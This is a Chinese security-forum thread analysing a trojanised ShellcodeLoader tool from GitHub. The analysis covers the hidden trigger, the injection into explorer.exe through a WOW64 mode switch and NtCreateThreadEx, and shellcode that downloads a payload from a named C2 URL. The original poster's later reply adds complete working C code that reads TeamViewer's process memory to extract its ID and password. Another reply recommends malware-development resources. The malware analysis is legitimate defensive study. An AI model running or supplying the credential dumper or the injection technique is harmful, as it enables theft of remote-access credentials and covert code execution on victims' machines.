吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5122|回复: 23
收起左侧

[PC样本分析] ShellcodeLoader恶意样本分析

  [复制链接]
hostname 发表于 2022-11-3 19:41
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!

前段时间,Github上的ShellcodeLoader被投毒

工具地址为: https://github.com/ByPassAVTeam/ShellcodeLoader

目前已经失效了,经过样本hash在各大平台上找到了这个样本
image-20221101183208710.png

编译时间为2022.10.8
image-20221101183238992.png

在LoaderMaker.exe的打印函数中插入了一个恶意函数,这个函数嵌套了许多层
image-20221101183458751.png

sub_401930→sub_401910→sub_4018F0→sub_4018D0→sub_4018B0→sub_401890→sub_401870→sub_401850→sub_401830→sub_401800
image-20221101183642471.png

全局变量dword_41B870初始化为0,调用一次打印函数就自增1,调用六次后就会执行恶意函数sub_401710,正常使用这个工具时,开头会调用六次打印函数,所以这个恶意函数一定会被执行

image-20221101183904497.png
分析sub_401710函数

image-20221101184859455.png
首先解密字符串,解密后的字符串为"explorer",接着调用GetPidByProcessName函数获取explorer.exe的pid
GetPidByProcessName如下,创建进程快照,遍历进程,判断进程名从而获取PID
image-20221101184052585.png
获取完进程PID后,开始执行sub_401290函数,该函数中首先获取kernel32.dll的基址,然后调用OpenProcess打开explorer.exe进程,接着获取VirtualAllocExA地址
判断操作系统是否为64位,如果不是64位就退出恶意函数
image-20221101184516681.png
IsSystem64函数中调用了GetNativeSystemInfo函数获取操作系统基本信息,然后判断是否位64位操作系统
image-20221101184615436.png
如果操作系统是64位,接着解密shellcode,在explorer.exe中分配一段可读可写可执行的内存,将shellcode写入
image-20221103191657934.png
接下来在explorer.exe进程中创建一个远程线程执行这个shellcode即可,但是使用32位的CreateRemoteThread或NtCreateThreadEx在64位进程中创建远线程会直接失败,这时候需要使用64位的远线程函数,所以首先要从WOW64转换到64位,接着获取ntdll的NtCreateThreadEx函数地址,获取方法可以参考DLL/PIC Injection on Windows from Wow64 process | modexp (wordpress.com)

  • 在x64下的进程,不管是32位或者是64位,实际上都映射了两个地址空间,一个是32位,一个是64位。相当于一个进程的两种工作模式,而且这两种工作模式是可以进行切换的
  • Wow64进程中的r12寄存器指向64位的TEB结构(TEB64)
  • 每个32位进程都会加重ntdll32.dll和ntdll.dll模块。其中ntdll.dll是64位模块,我们可以将进程的32位模式改为64位模式,然后再去操作64位进程
    检测32位还是64位

利用REX指令前缀,0x31 0xC0 0x48 0xF7 0xD8 0xC3

; 32位
31 C0        xor eax, eax ; eax = 0, ZF = 1
48                dec eax                 ; eax = -1, ZF = 0
F7 D8        neg eax                 ; eax = 1, ZF = 0
C3                retn
; 64位
31 C0                 xor     eax, eax ; eax = 0, ZF = 1
48 F7 D8        neg     rax                 ; eax = 0, ZF = 1
C3                        retn

同一串硬编码, 在32位模式下ZF = 0, 在64位模式下ZF = 1, 可以通过这个差异来判断是否位WOW64

模式转换

32位转64位

首先向堆栈中依次压入0x33和返回地址,然后利用retf指令将CS寄存器修改为0x33
image-20221103192045292.png

64位转32位

首先向堆栈中依次压入0x23和返回地址,然后利用retf指令将CS寄存器修改为0x23
image-20221103192115129.png

切换模式之后,利用GS寄存器获取PEB,进而遍历模块,对比函数名HASH,最终获取NtCreateThreadEx地址,调用NtCreateThreadEx在explorer.exe中创建远程线程执行shellcode,之后切换为32位并返回

image-20221103192149802.png
image-20221103192202034.png
image-20221103192211570.png
shellcode分析

首先获取LoadLibrary地址,加载wininet.dll

然后利用wininet.dll的库函数请求http://www2.jquery.ink:2087/maps/overlayBfpr获取恶意shellcode

申请空间存储恶意代码,最终跳转至恶意代码中执行

image-20221103192826410.png
总结

通过分析这个样本,学会了32位程序注入64位程序的方法

免费评分

参与人数 15威望 +1 吾爱币 +28 热心值 +15 收起 理由
huskysir13 + 1 + 1 用心讨论,共获提升!
Chenxiaoye + 1 太棒了
maohaizi + 1 我很赞同!
shengjiaohao + 1 我很赞同!
acesec + 1 我很赞同!
JabezChiu + 1 + 1 用心讨论,共获提升!
Great1370 + 1 + 1 我很赞同!
lbjiang + 1 + 1 我很赞同!
xzhtx + 1 谢谢@Thanks!
小菜鸟一枚 + 1 + 1 用心讨论,共获提升!
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
xiaohanjss + 1 + 1 用心讨论,共获提升!
bvjdxh + 1 + 1 热心回复!
Tonyha7 + 1 用心讨论,共获提升!
lingyun011 + 1 + 1 热心回复!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| hostname 发表于 2023-3-8 11:50
本帖最后由 hostname 于 2023-8-10 17:34 编辑

#include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <psapi.h>

#define PWDLEN 8
#define IDLEN 10
#define BLOCKLEN 0x1FF000

typedef enum _MEMORY_INFORMATION_CLASS {
    MemoryBasicInformation,
    MemoryWorkingSetList,
    MemorySectionName,
    MemoryBasicVlmInformation
} MEMORY_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI* fnZwQueryVirtualMemory) (
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    MEMORY_INFORMATION_CLASS MemoryInformationClass,
    PVOID MemoryInformation,
    SIZE_T MemoryInformationLength,
    PSIZE_T ReturnLength
);

UINT32 GetPidByName(PCWCHAR ProcessName) {
    HANDLE ProcessId = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (ProcessId == NULL) {
        printf("Fail");
    }
    PROCESSENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(te32);
    int number = 0;
    if (Process32First(ProcessId, &te32)) {
        do {
            if (!lstrcmp(te32.szExeFile, ProcessName)) {
                //printf("[+] TeamViewer PID: %d", te32.th32ProcessID);
                return te32.th32ProcessID;
            }
        } while (Process32Next(ProcessId, &te32));
    }
}

BOOL isNumOrAlph(UCHAR ch) {
    if (ch >= '0' && ch <= '9') {
        return TRUE;
    }
    if (ch >= 'a' && ch <= 'z') {
        return TRUE;
    }
    return FALSE;
}

BOOL isNum(UCHAR ch) {
    if (ch >= '0' && ch <= '9') {
        return TRUE;
    }
    return FALSE;
}

int main(int argc, char* argv[]) {
    UINT64 EndAddress = 0x0007FFFFFFFF0000;

    fnZwQueryVirtualMemory ZwQueryVirtualMemory = (fnZwQueryVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQueryVirtualMemory");
    if (NULL == ZwQueryVirtualMemory) {
        printf("[-] ZwQueryVirtualMemory not found\n");
        return -1;
    }

    DWORD cbNeeded;
    HMODULE pModuleIds[1024];
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"TeamViewer.exe"));
    UINT64 StartAddress = 0x000000007FFE0000;

    MEMORY_BASIC_INFORMATION mbi = { 0 };
    do {
        ZwQueryVirtualMemory(hProcess, (LPVOID)StartAddress, MemoryBasicInformation, &mbi, sizeof(mbi), NULL);                  //从基地址开始遍历,将内存信息存放MEMORY_BASIC_INFORMATION结构
        if (mbi.RegionSize == BLOCKLEN) {
            bool pwd_found = FALSE;
            bool id_found = FALSE;
            UINT8 buf[IDLEN * 2 + 3] = { 0 };

            for (int i = 0; i < BLOCKLEN; i++) {
                ReadProcessMemory(hProcess, (LPCVOID)(StartAddress + i), buf, sizeof(buf), NULL);

                // pwd
                if (pwd_found == FALSE) {
                    if (buf[0] == 0x90 && buf[PWDLEN * 2 + 2] == 0 && buf[PWDLEN * 2 + 1] == 0) {
                        BOOL flag = TRUE;
                        for (int j = 1; j <= PWDLEN; j++) {
                            if (buf[2 * j] != 0 || !isNumOrAlph(buf[2 * j - 1])) {
                                flag = FALSE;
                                break;
                            }
                        }
                        if (flag) {
                            wprintf(L"[+] password: %s\n", &buf[1]);
                            pwd_found = TRUE;
                        }
                    }
                }

                // id
                if (id_found == FALSE) {
                    if (buf[0] == 0x90 && buf[IDLEN * 2 + 2] == 0 && buf[IDLEN * 2 + 1] == 0) {
                        BOOL flag = TRUE;
                        for (int j = 1; j <= IDLEN; j++) {
                            if (buf[2 * j] != 0 || !isNum(buf[2 * j - 1])) {
                                flag = FALSE;
                                break;
                            }
                        }
                        if (flag) {
                            wprintf(L"[+] id: %s\n", &buf[1]);
                            id_found = TRUE;
                        }
                    }
                }
            }
            break;
        }
        StartAddress += mbi.RegionSize;
    } while (0 <= StartAddress);

        return 0;
}
Nov1ce 发表于 2022-12-23 23:42
hideon 发表于 2022-12-5 19:54
请问一下大佬,学恶意软件开发之前需要学习什么

我也是入门不久,我觉得至少得学一些汇编和基础的编程语言,c/c++基本是必须的。推荐一个仓库https://github.com/rootkit-io/awesome-malware-development,可以去这里看看,里面既有文章,也有视频和博客什么的,入门绝对够用了。
8970665 发表于 2022-11-5 14:47
 楼主| hostname 发表于 2022-11-6 12:55
8970665 发表于 2022-11-5 14:47
在这种工具投毒,怎么没抓他,

这我也布吉岛,之前在一个公众号看到的,就分析了以下
metoo2 发表于 2022-11-6 17:35
牛B的楼主,学习了
aonima 发表于 2022-11-6 17:47
学到东西了
18428381824 发表于 2022-11-7 17:38
学习了学习了
xzhtx 发表于 2022-11-8 08:52
收藏,学习,谢谢分享
lEnchanterl 发表于 2022-11-8 09:15
前一段时间就在用,已经在担心了
JabezChiu 发表于 2022-11-14 12:42
学习中、记好笔记
Nov1ce 发表于 2022-11-14 16:21
学到了,刚开始学习恶意软件开发
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-3-28 21:53

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表